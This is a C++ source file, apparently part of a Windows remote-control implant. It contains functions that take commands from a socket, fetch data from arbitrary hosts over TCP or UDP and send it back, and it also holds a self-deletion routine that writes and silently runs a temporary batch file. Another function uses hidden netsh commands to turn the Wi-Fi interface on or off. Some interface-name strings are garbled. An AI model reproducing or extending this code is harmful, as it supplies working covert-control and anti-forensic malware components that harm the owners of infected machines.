486 lines
12 KiB
C++
486 lines
12 KiB
C++
|
||
#include "stdafx.h"
|
||
#include "WinSrv.h"
|
||
#include "stdio.h"
|
||
#include "stdlib.h"
|
||
#include "string.h"
|
||
|
||
void Send2A(SOCKET s, unsigned int dwalgo, char *buf, int bufLen, unsigned int dwRet );
|
||
DWORD TCPData(IN LPCSTR lpIP, IN LPCSTR lpszPath, OUT LPVOID lpOutBuffer, IN DWORD dwOutBufBytes, OUT LPDWORD lpdwRecvdBytes)
|
||
{
|
||
DWORD dwResult = 0;
|
||
WORD wPort = 80;
|
||
INT nOffset = 0;
|
||
struct hostent *pURL = NULL;
|
||
struct sockaddr_in addr;
|
||
WSADATA WSAData = { 0 };
|
||
SOCKET sockfd = INVALID_SOCKET;
|
||
LPSTR lpBuf = NULL;
|
||
LPSTR lpTempBuf = NULL;
|
||
|
||
::WSAStartup(MAKEWORD(1, 1), &WSAData);
|
||
|
||
do
|
||
{
|
||
if (!dwOutBufBytes){
|
||
dwOutBufBytes = 4096;
|
||
}
|
||
lpBuf = new CHAR[dwOutBufBytes];
|
||
lpTempBuf = new CHAR[8192];
|
||
if (NULL == lpBuf || NULL == lpTempBuf){
|
||
dwResult = ERROR_NOT_ENOUGH_MEMORY; break;
|
||
}
|
||
RtlZeroMemory(lpBuf, dwOutBufBytes);
|
||
RtlZeroMemory(lpTempBuf, 8192);
|
||
|
||
char *lpstr = strstr((char*)lpIP, ":");
|
||
if (lpstr){
|
||
*lpstr = 0;
|
||
lpstr++;
|
||
wPort = atoi(lpstr);
|
||
}
|
||
|
||
sockfd = ::socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||
if (INVALID_SOCKET == sockfd){
|
||
dwResult = ::WSAGetLastError(); break;
|
||
}
|
||
addr.sin_family = AF_INET;
|
||
addr.sin_addr.s_addr = inet_addr(lpIP);
|
||
addr.sin_port = ::htons(wPort);
|
||
dwResult = ::connect(sockfd, (SOCKADDR *)&addr, sizeof(addr));
|
||
if (dwResult == SOCKET_ERROR){
|
||
dwResult = ::WSAGetLastError(); break;
|
||
}
|
||
sprintf_s((char*)lpBuf, 512, "GET /%s HTTP/1.1\r\nHost: %s\r\nConnection: Close\r\nAccept: */*\r\nUser-Agent:Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)\r\n\r\n", (char*)lpszPath, (char*)lpIP);
|
||
if (SOCKET_ERROR == ::send(sockfd, lpBuf, (INT)strlen(lpBuf), 0)){
|
||
dwResult = ::WSAGetLastError(); break;
|
||
}
|
||
if (NULL == lpOutBuffer) break;
|
||
RtlZeroMemory(lpBuf, dwOutBufBytes);
|
||
DWORD dwTickStart = ::GetTickCount();
|
||
DWORD dwTickLast = dwTickStart;
|
||
DWORD dwTickNow = 0;
|
||
INT nThisRecv = 0;
|
||
nOffset = 0;
|
||
fd_set myfd_rset;
|
||
fd_set myfd_0set;
|
||
struct timeval timeout;
|
||
while (TRUE)
|
||
{
|
||
FD_ZERO(&myfd_rset);
|
||
FD_ZERO(&myfd_0set);
|
||
FD_SET(sockfd, &myfd_rset);
|
||
FD_SET(sockfd, &myfd_0set);
|
||
timeout.tv_sec = 0;
|
||
timeout.tv_usec = 2000;
|
||
int nSelect = ::select((INT)sockfd + 1, &myfd_rset, NULL, &myfd_0set, &timeout);
|
||
if (nSelect < 0){
|
||
dwResult = ERROR_INTERNAL_ERROR; break;
|
||
}
|
||
if (nSelect == 0){
|
||
dwTickNow = ::GetTickCount();
|
||
if (dwTickNow - dwTickLast >= 10 * 1000){
|
||
dwResult = ERROR_TIMEOUT; break;
|
||
}
|
||
}
|
||
if (nSelect){
|
||
nThisRecv = ::recv(sockfd, lpBuf + nOffset, min(32 * 1024, dwOutBufBytes - nOffset), 0);
|
||
if (0 > nThisRecv){
|
||
dwResult = ERROR_INTERNAL_ERROR; break;
|
||
}
|
||
if (0 == nThisRecv) break;
|
||
if (nThisRecv > 0){
|
||
nOffset += nThisRecv;
|
||
dwTickLast = ::GetTickCount();
|
||
}
|
||
}
|
||
}
|
||
RtlCopyMemory(lpOutBuffer, lpBuf, nOffset);
|
||
} while (0);
|
||
if (lpBuf) delete[] lpBuf;
|
||
if (lpTempBuf) delete[] lpTempBuf;
|
||
if (INVALID_SOCKET != sockfd){
|
||
closesocket(sockfd);
|
||
}
|
||
::WSACleanup();
|
||
if (lpdwRecvdBytes){
|
||
*lpdwRecvdBytes = (DWORD)nOffset;
|
||
}
|
||
|
||
return dwResult;
|
||
}
|
||
|
||
|
||
DWORD UDPData(IN LPCSTR lpIP, IN LPCSTR lpszPath, OUT LPVOID lpOutBuffer, IN DWORD dwOutBufBytes, OUT LPDWORD lpdwRecvdBytes)
|
||
{
|
||
WSADATA WSAData = { 0 };
|
||
WSAStartup(MAKEWORD(1, 1), &WSAData);
|
||
unsigned short wPort = 80;
|
||
|
||
|
||
char *lpstr = strstr((char*)lpIP, ":");
|
||
if (lpstr){
|
||
*lpstr = 0;
|
||
lpstr++;
|
||
wPort = atoi(lpstr);
|
||
}
|
||
|
||
|
||
SOCKET s;
|
||
struct sockaddr_in server;
|
||
int len = sizeof(server);
|
||
server.sin_family = AF_INET;
|
||
server.sin_port = htons(wPort);
|
||
server.sin_addr.s_addr = inet_addr(lpIP);
|
||
|
||
s = socket(AF_INET, SOCK_DGRAM, 0);
|
||
if (sendto(s, lpszPath, strlen(lpszPath), 0, (struct sockaddr*)&server, len) != SOCKET_ERROR){
|
||
*lpdwRecvdBytes = (DWORD)recvfrom(s, (char*)lpOutBuffer, dwOutBufBytes, 0, (struct sockaddr*)&server, &len);
|
||
}
|
||
|
||
closesocket(s);
|
||
return 0;
|
||
}
|
||
|
||
char* __g_stristrA(char *lpstrW, int dwstrW, char *lpstrV)
|
||
{
|
||
char *lpRet = NULL;
|
||
int dwstrV;
|
||
do
|
||
{
|
||
if (NULL == lpstrW || NULL == lpstrV){
|
||
break;
|
||
}
|
||
if (dwstrW == 0) dwstrW = strlen(lpstrW);
|
||
dwstrV = strlen(lpstrV);
|
||
if (dwstrW < dwstrV){
|
||
break;
|
||
}
|
||
while ( dwstrW >0 && dwstrV > 0 )
|
||
{
|
||
if (dwstrW < dwstrV){
|
||
break;
|
||
}
|
||
if ((_strnicmp(lpstrW, lpstrV, dwstrV) == 0)){
|
||
lpRet = lpstrW;
|
||
break;
|
||
}
|
||
++lpstrW;
|
||
--dwstrW;
|
||
}
|
||
|
||
} while (0);
|
||
|
||
return lpRet;
|
||
}
|
||
|
||
#include <stdlib.h>
|
||
#include <stdio.h>
|
||
#include <windows.h>
|
||
#include <tchar.h>
|
||
|
||
void GetRadomString(IN DWORD dwCount, OUT LPTSTR lpszString, DWORD dwOutBytes)
|
||
{
|
||
DWORD dwMaxCount = 0, i = 0;
|
||
DWORD dwRadom = 0;
|
||
TCHAR szDic[64] = { 0 };
|
||
RtlZeroMemory(lpszString, dwOutBytes);
|
||
for (i = 0; i<10; i++)
|
||
{
|
||
szDic[i] = (TCHAR)('0' + i);
|
||
}
|
||
for (i = 0; i<26; i++)
|
||
{
|
||
szDic[i + 10] = (TCHAR)('A' + i);
|
||
}
|
||
for (i = 0; i<26; i++)
|
||
{
|
||
szDic[i + 36] = (TCHAR)('a' + i);
|
||
}
|
||
szDic[62] = '_';
|
||
szDic[63] = '\0';
|
||
dwMaxCount = (DWORD)_tcslen(szDic);
|
||
for (i = 0; i<dwCount; i++)
|
||
{
|
||
dwRadom = rand() % dwMaxCount;
|
||
lpszString[i] = szDic[dwRadom];
|
||
}
|
||
}
|
||
|
||
DWORD MyWriteFileEx(IN LPCTSTR lpszFile, IN UINT64 qwOffset, IN LPVOID lpBuffer, IN DWORD dwBytes, BOOL bSetEnd, BOOL bWow64)
|
||
{
|
||
DWORD dwResult = 0;
|
||
HANDLE hFile = INVALID_HANDLE_VALUE;
|
||
DWORD dwBytesRet = 0;
|
||
LARGE_INTEGER liPos;
|
||
|
||
do
|
||
{
|
||
if (NULL == lpszFile || NULL == lpBuffer)
|
||
{
|
||
dwResult = (ERROR_INVALID_PARAMETER); break;
|
||
}
|
||
::SetFileAttributes(lpszFile, 0);
|
||
hFile = ::CreateFile(lpszFile, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_BACKUP_SEMANTICS, NULL);
|
||
if (INVALID_HANDLE_VALUE == hFile)
|
||
{
|
||
hFile = ::CreateFile(lpszFile, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_BACKUP_SEMANTICS, NULL);
|
||
}
|
||
if (INVALID_HANDLE_VALUE == hFile)
|
||
{
|
||
dwResult = (::GetLastError()); break;
|
||
}
|
||
if (qwOffset == -1)
|
||
{
|
||
liPos.QuadPart = 0;
|
||
if (!::SetFilePointerEx(hFile, liPos, NULL, FILE_END))
|
||
{
|
||
dwResult = (::GetLastError()); break;
|
||
}
|
||
}
|
||
else
|
||
{
|
||
liPos.QuadPart = qwOffset;
|
||
if (!::SetFilePointerEx(hFile, liPos, NULL, FILE_BEGIN))
|
||
{
|
||
dwResult = (::GetLastError()); break;
|
||
}
|
||
}
|
||
if (!::WriteFile(hFile, lpBuffer, dwBytes, &dwBytesRet, NULL))
|
||
{
|
||
dwResult = (::GetLastError()); break;
|
||
}
|
||
if (dwBytesRet != dwBytes)
|
||
{
|
||
dwResult = (ERROR_WRITE_FAULT); break;
|
||
}
|
||
if (bSetEnd)
|
||
{
|
||
::SetEndOfFile(hFile);
|
||
}
|
||
::FlushFileBuffers(hFile);
|
||
} while (0);
|
||
|
||
if (INVALID_HANDLE_VALUE != hFile)
|
||
{
|
||
::CloseHandle(hFile);
|
||
}
|
||
|
||
return dwResult;
|
||
}
|
||
|
||
DWORD LaunchAndWait(IN LPCTSTR szExeName, IN LPTSTR szCmdLine/*=NULL*/, IN LPCTSTR szCurrentDirectory/*=NULL*/, IN BOOL bShowWindow/*=TRUE*/, IN BOOL bWait/*=FALSE*/, OUT HANDLE *lpHandle/*=NULL*/, OUT DWORD *lpdwPID/*=NULL*/)
|
||
{
|
||
PROCESS_INFORMATION pinfos;
|
||
DWORD dwExitCode = ERROR_SUCCESS;
|
||
STARTUPINFO si;
|
||
RtlZeroMemory(&si, sizeof(si));
|
||
si.cb = sizeof(si);
|
||
if (!bShowWindow)
|
||
{
|
||
si.dwFlags = STARTF_USESHOWWINDOW;
|
||
si.wShowWindow = SW_HIDE;
|
||
}
|
||
if (lpdwPID) *lpdwPID = 0;
|
||
if (lpHandle) *lpHandle = NULL;
|
||
if (::CreateProcess(szExeName, szCmdLine, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, szCurrentDirectory, &si, &pinfos) == FALSE)
|
||
{
|
||
return (::GetLastError());
|
||
}
|
||
::CloseHandle(pinfos.hThread);
|
||
if (lpdwPID) *lpdwPID = pinfos.dwProcessId;
|
||
if (lpHandle) *lpHandle = pinfos.hProcess;
|
||
if (bWait)
|
||
{
|
||
dwExitCode = ::WaitForSingleObject(pinfos.hProcess, INFINITE);
|
||
if (WAIT_OBJECT_0 == dwExitCode)
|
||
{
|
||
if (!::GetExitCodeProcess(pinfos.hProcess, &dwExitCode))
|
||
{
|
||
dwExitCode = (::GetLastError());
|
||
}
|
||
else
|
||
{
|
||
dwExitCode = ERROR_SUCCESS;
|
||
}
|
||
}
|
||
}
|
||
if (NULL == lpHandle)
|
||
{
|
||
::CloseHandle(pinfos.hProcess);
|
||
}
|
||
|
||
return dwExitCode;
|
||
}
|
||
|
||
DWORD DeleteMySelf(HMODULE hModule, DWORD dwTryCntPer2Second)
|
||
{
|
||
DWORD dwResult = 0;
|
||
CHAR *lpBuffer = NULL;
|
||
CHAR *lpszMyFile = NULL;
|
||
CHAR *lpszBatFile = NULL;
|
||
CHAR *lpszData = NULL;
|
||
CHAR szRadom[16] = { 0 };
|
||
CHAR szTmpPath[MAX_PATH] = { 0 };
|
||
|
||
do
|
||
{
|
||
srand(::GetTickCount());
|
||
GetRadomString(rand() % 5 + 5, szRadom, sizeof(szRadom));
|
||
lpBuffer = new CHAR[4096];
|
||
if (NULL == lpBuffer)
|
||
{
|
||
dwResult = (ERROR_NOT_ENOUGH_MEMORY); break;
|
||
}
|
||
RtlZeroMemory(lpBuffer, 4096);
|
||
lpszMyFile = lpBuffer;
|
||
lpszBatFile = lpBuffer + 512;
|
||
lpszData = lpBuffer + 1024;
|
||
::GetModuleFileNameA(hModule, lpszMyFile, MAX_PATH);
|
||
::GetTempPathA(MAX_PATH, szTmpPath);
|
||
strcpy(lpszBatFile, szTmpPath);
|
||
strcat(lpszBatFile, szRadom);
|
||
strcat(lpszBatFile, ".bat");
|
||
LPSTR lpThis = lpszData;
|
||
strcpy(lpThis, "@echo off\r\n");
|
||
lpThis += strlen(lpThis);
|
||
sprintf(lpThis, "set cnt=%u\r\n", dwTryCntPer2Second ? dwTryCntPer2Second : 1);
|
||
lpThis += strlen(lpThis);
|
||
strcpy(lpThis, "set num=0\r\n:r1\r\nset /a num=%num%+1\r\n");
|
||
lpThis += strlen(lpThis);
|
||
sprintf(lpThis, "del /f /q \"%s\"\r\n", lpszMyFile);
|
||
lpThis += strlen(lpThis);
|
||
strcpy(lpThis, "if %cnt%==%num% goto e1\r\nping -n 2 127.1>nul\r\n");
|
||
lpThis += strlen(lpThis);
|
||
sprintf(lpThis, "if exist \"%s\" goto r1\r\n", lpszMyFile);
|
||
lpThis += strlen(lpThis);
|
||
sprintf(lpThis, ":e1\r\ndel /f /q \"%s\"\r\n", lpszBatFile);
|
||
lpThis += strlen(lpThis);
|
||
MyWriteFileEx(lpszBatFile, 0, lpszData, (DWORD)strlen(lpszData), TRUE, FALSE);
|
||
sprintf(lpszData, "\"%s\"", lpszBatFile);
|
||
LaunchAndWait(NULL, lpszData, szTmpPath, FALSE, FALSE, NULL, NULL);
|
||
} while (0);
|
||
|
||
if (lpBuffer) delete[] lpBuffer;
|
||
|
||
return dwResult;
|
||
}
|
||
|
||
|
||
void Delself()
|
||
{
|
||
DeleteMySelf(NULL, 3);
|
||
ExitProcess(0);
|
||
}
|
||
|
||
void wifi(unsigned int IsOn)
|
||
{
|
||
char szCommandLine[512] = { 0 };
|
||
char szCommandLineA[512] = { 0 };
|
||
if (IsOn){
|
||
strcpy(szCommandLine, "cmd /c netsh interface set interface \"WLAN\" enabled");
|
||
strcpy(szCommandLineA, "cmd /c netsh interface set interface \"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\" enabled");
|
||
|
||
}
|
||
else
|
||
{
|
||
strcpy(szCommandLine, "cmd /c netsh interface set interface \"WLAN\" disable");
|
||
strcpy(szCommandLineA, "cmd /c netsh interface set interface \"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\" disable");
|
||
|
||
}
|
||
|
||
|
||
WinExec(szCommandLine, SW_HIDE );
|
||
WinExec(szCommandLineA, SW_HIDE);
|
||
|
||
|
||
|
||
}
|
||
|
||
|
||
void DoData( SOCKET Blusock, char *buf, unsigned int dwAlgo )
|
||
{
|
||
BOOL IsTcp = 0;
|
||
char *lpRet = NULL;
|
||
int iRet = 1;
|
||
char szIP[260] = { 0 };
|
||
char szData[512] = { 0 };
|
||
char *lpBufout = NULL;
|
||
DWORD dwBufOutSize = 512 * 1024;
|
||
DWORD dwBufRetSize = 0;
|
||
|
||
do
|
||
{
|
||
lpRet = __g_stristrA(buf, strlen(buf), "-Tcp");
|
||
if (lpRet){
|
||
IsTcp = 1;
|
||
}
|
||
lpRet = __g_stristrA(buf, strlen(buf), "-Get");
|
||
if (lpRet){
|
||
|
||
lpRet += 4;
|
||
int IsIp = 1;
|
||
int i = 0;
|
||
while (1)
|
||
{
|
||
if (*lpRet == ' '){
|
||
lpRet++;
|
||
continue;
|
||
}
|
||
if (*lpRet == '\0' || *lpRet == 0 || *lpRet == '-'){
|
||
break;
|
||
}
|
||
if (*lpRet == '/'){
|
||
i = 0;
|
||
IsIp = 0;
|
||
lpRet++;
|
||
continue;
|
||
}
|
||
|
||
if (IsIp){
|
||
szIP[i++] = *lpRet;
|
||
}
|
||
else
|
||
{
|
||
szData[i++] = *lpRet;
|
||
}
|
||
lpRet++;
|
||
}
|
||
}
|
||
if (szIP[0] == 0 || szData[0] == 0){
|
||
break;
|
||
}
|
||
|
||
lpBufout = (char*)malloc(dwBufOutSize);
|
||
if (!lpBufout){
|
||
break;
|
||
}
|
||
RtlZeroMemory(lpBufout, dwBufOutSize);
|
||
if (IsTcp){
|
||
TCPData(szIP, szData, lpBufout, dwBufOutSize, &dwBufRetSize);
|
||
if (dwBufRetSize > 1024){
|
||
dwBufRetSize = 1024;
|
||
}
|
||
}
|
||
else
|
||
{
|
||
UDPData(szIP, szData, lpBufout, dwBufOutSize, &dwBufRetSize);
|
||
}
|
||
if (dwBufRetSize == 0 || dwBufRetSize >= dwBufOutSize){
|
||
dwBufRetSize = 0;
|
||
break;
|
||
}
|
||
iRet = 0;
|
||
} while (0);
|
||
|
||
|
||
Send2A(Blusock, dwAlgo, lpBufout, dwBufRetSize, iRet );
|
||
|
||
if (lpBufout){
|
||
free(lpBufout);
|
||
}
|
||
|
||
}
|
||
|
||
|